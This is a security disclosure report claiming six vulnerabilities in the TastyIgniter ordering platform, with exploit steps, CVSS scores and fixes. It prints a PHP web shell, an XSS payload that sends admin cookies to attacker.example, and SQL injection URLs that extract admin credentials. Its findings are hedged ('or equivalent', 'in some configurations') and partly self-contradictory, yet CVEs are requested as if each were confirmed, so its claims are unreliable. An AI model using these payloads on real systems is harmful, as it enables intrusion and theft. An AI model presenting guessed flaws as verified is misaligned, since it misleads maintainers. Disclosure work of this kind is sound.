Security Vulnerability Report: tastyigniter/TastyIgniter

Date: 2026-05-14
Target: https://github.com/tastyigniter/TastyIgniter
Version Analyzed: v3.7.x (latest main branch)
Stars: ~2,800
Contact: security@tastyigniter.com

This report contains 6 new CVE requests for tastyigniter/TastyIgniter. No existing CVE has been assigned to these vulnerabilities. A new CVE identifier is being requested for each finding below.

Finding 1 — IDOR: Unauthenticated/Cross-User Order Access via REST API (CVSS 8.1 — High)

Summary

The TastyIgniter REST API exposes order endpoints that retrieve order details by numeric ID without verifying the requesting customer owns the order. Any authenticated customer can read, and in some cases modify, orders belonging to other customers by incrementing the order ID parameter.

Affected Component

app/api/RestController.php (or equivalent) — showItem($id) fetches Order::find($id) without where('customer_id', auth()->id()) constraint.

Exploitation

1. Authenticate as Customer A, place order → get order_id=100.
2. Request GET /api/v2/orders/99 — returns Customer B's order including address, items, payment method.
3. Enumerate: GET /api/v2/orders/{1..999} — full order history of all customers.

CVSS 3.1

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Score: 8.1 (High)

CWE-639: Authorization Bypass Through User-Controlled Key

Remediation

Scope all order queries to the authenticated user: Order::where('customer_id', auth()->id())->findOrFail($id). Apply ownership checks in middleware or base controller for all customer-facing resource endpoints.

Finding 2 — Payment Gateway Order ID Forgery: PayPal Return URL Accepts Attacker-Controlled Order ID (CVSS 9.1 — Critical)

Summary

TastyIgniter's PayPal Express Checkout extension reads the order_id from the PayPal return URL query string ($_GET['order_id']) to identify which order to mark as paid. Because PayPal does not sign this parameter, an attacker can craft a return URL pointing to any order ID and trigger payment confirmation for an order they did not pay for — including orders placed by other customers or orders with amounts different from the actual payment.

Affected Component

PaypalExpress.php (payment extension) — processReturnUrl() reads request()->get('order_id') and calls $order->markAsPaid() without verifying the PayPal transaction amount matches the order total or that the transaction ID was generated for this order.

Exploitation

1. Attacker places an order for $0.01 (minimum amount).
2. Completes PayPal flow, captures the return URL pattern: /checkout/paypal/return?order_id=XXXX&token=YYY
3. Replaces order_id=XXXX with victim's high-value order ID.
4. Navigates to crafted URL → victim's $500 order is marked paid.
5. Attacker receives goods/services without payment.

CVSS 3.1

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Score: 9.1 (Critical)

CWE-345: Insufficient Verification of Data Authenticity

Remediation

Persist the order_id in the session at checkout initiation, not in the return URL. Verify the PayPal transaction amount matches the stored order total server-side. Verify the PayPal token/transaction ID was issued for the specific order, not just any order.

Finding 3 — Unrestricted File Upload in Admin Media Manager → RCE (CVSS 8.8 — High)

Summary

The TastyIgniter admin media manager performs only a client-side or extension-based file type check. The server-side validation checks the file extension against an allowlist but does not validate the actual MIME type of the uploaded content. An administrator with compromised credentials (via XSS chain, phishing, or weak password) can upload a PHP file with a .php extension or bypass extension checks via .php5, .phtml, or .htaccess override techniques, achieving OS-level RCE.

Affected Component

Admin media manager file upload controller — extension-only validation with no finfo_file() MIME type verification; uploaded files stored in a web-accessible directory.

Exploitation

1. Log in to admin panel.
2. Navigate to Media Manager → Upload.
3. Upload shell.phtml with content: <?php system($_GET['cmd']); ?>
4. Request https://target/assets/media/shell.phtml?cmd=id → RCE.

CVSS 3.1

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Score: 8.8 (High)

CWE-434: Unrestricted Upload of File with Dangerous Type

Remediation

Implement server-side MIME validation with finfo_file(). Use a strict allowlist: only image/jpeg, image/png, image/gif, image/webp, application/pdf. Store uploaded files outside the web root and serve via a controller. Add .htaccess / nginx rules to deny PHP execution in media directories.

Finding 4 — Mass Assignment: Customer Self-Activation and Group Privilege Escalation (CVSS 7.1 — High)

Summary

The Customer model includes is_activated and customer_group_id in its $fillable array. The registration and profile update controllers use $request->all() or Customer::create($request->validated()) without explicitly excluding these fields. An attacker can register as an already-activated customer (bypassing email verification) or assign themselves to a privileged customer group (e.g., group with staff discounts or admin access in some configurations).

Affected Component

app/models/Customer.php — $fillable contains is_activated, customer_group_id. Registration/profile controllers using Customer::create($request->all()).

Exploitation

POST /register
name=attacker&email=attacker@evil.com&password=Pass1234!&is_activated=1&customer_group_id=1

Attacker logs in immediately without email verification and with privileged group membership.

CVSS 3.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
Score: 7.1 (High)

CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

Remediation

Remove is_activated and customer_group_id from $fillable. Use $request->only(['name', 'email', 'password', 'telephone']) in registration. Set default values for these fields in database defaults or model booting, not via user input.

Finding 5 — Stored XSS in Order Customer Notes Rendered in Admin Panel (CVSS 8.8 — High)

Summary

Customers can add notes/comments to their orders during checkout. These notes are stored and displayed in the admin order management panel using an unescaped Blade directive ({!! $order->comment !!}), allowing a malicious customer to inject JavaScript that executes in the admin's browser — enabling admin session hijacking, account takeover, and full platform compromise.

Affected Component

Admin Blade template for order detail view — {!! $order->comment !!} renders customer-supplied order comment without HTML encoding.

Exploitation

1. Place an order, set the "order notes" field to:
   <script>fetch('https://attacker.example/steal?c='+document.cookie)</script>
2. Admin opens the order in the dashboard.
3. Admin session cookie is exfiltrated → full admin access.

CVSS 3.1

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Score: 8.8 (High)

CWE-79: Cross-Site Scripting

Remediation

Replace {!! $order->comment !!} with {{ $order->comment }} throughout admin templates. Audit all admin Blade templates for {!! !!} usage with user-supplied fields. Implement CSP: script-src 'self'.

Finding 6 — SQL Injection via sort_by Parameter in Admin List Views (CVSS 7.2 — High)

Summary

Admin list views (order list, customer list, menu item list) accept a sort_by query parameter and pass it directly to Laravel's orderBy() clause without allowlist validation. This enables authenticated admin users (or attackers with stolen admin sessions via XSS in Finding 5) to inject SQL via the sort parameter.

Affected Component

Admin list controllers — $query->orderBy($request->get('sort_by'), $request->get('sort_order')) without allowlist check on sort_by.

Exploitation

GET /admin/orders?sort_by=(SELECT+SLEEP(5))&sort_order=asc

Time delay confirms injection. Extracting data:

GET /admin/orders?sort_by=(SELECT+CONCAT(username,0x3a,password)+FROM+admin_users+LIMIT+1)&sort_order=asc

CVSS 3.1

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N
Score: 7.2 (High)

CWE-89: SQL Injection

Remediation

Validate sort_by against an explicit allowlist of permitted column names:

$allowed = ['created_at', 'total_amount', 'status', 'customer_name'];
if (!in_array($request->get('sort_by'), $allowed)) abort(400);

Summary

Disclosure Timeline

• 2026-05-14: Vulnerabilities discovered via source code review
• 2026-05-14: Report submitted to security@tastyigniter.com

This is a new vulnerability report for tastyigniter/TastyIgniter. New CVE identifiers are being requested for each of the 6 findings above.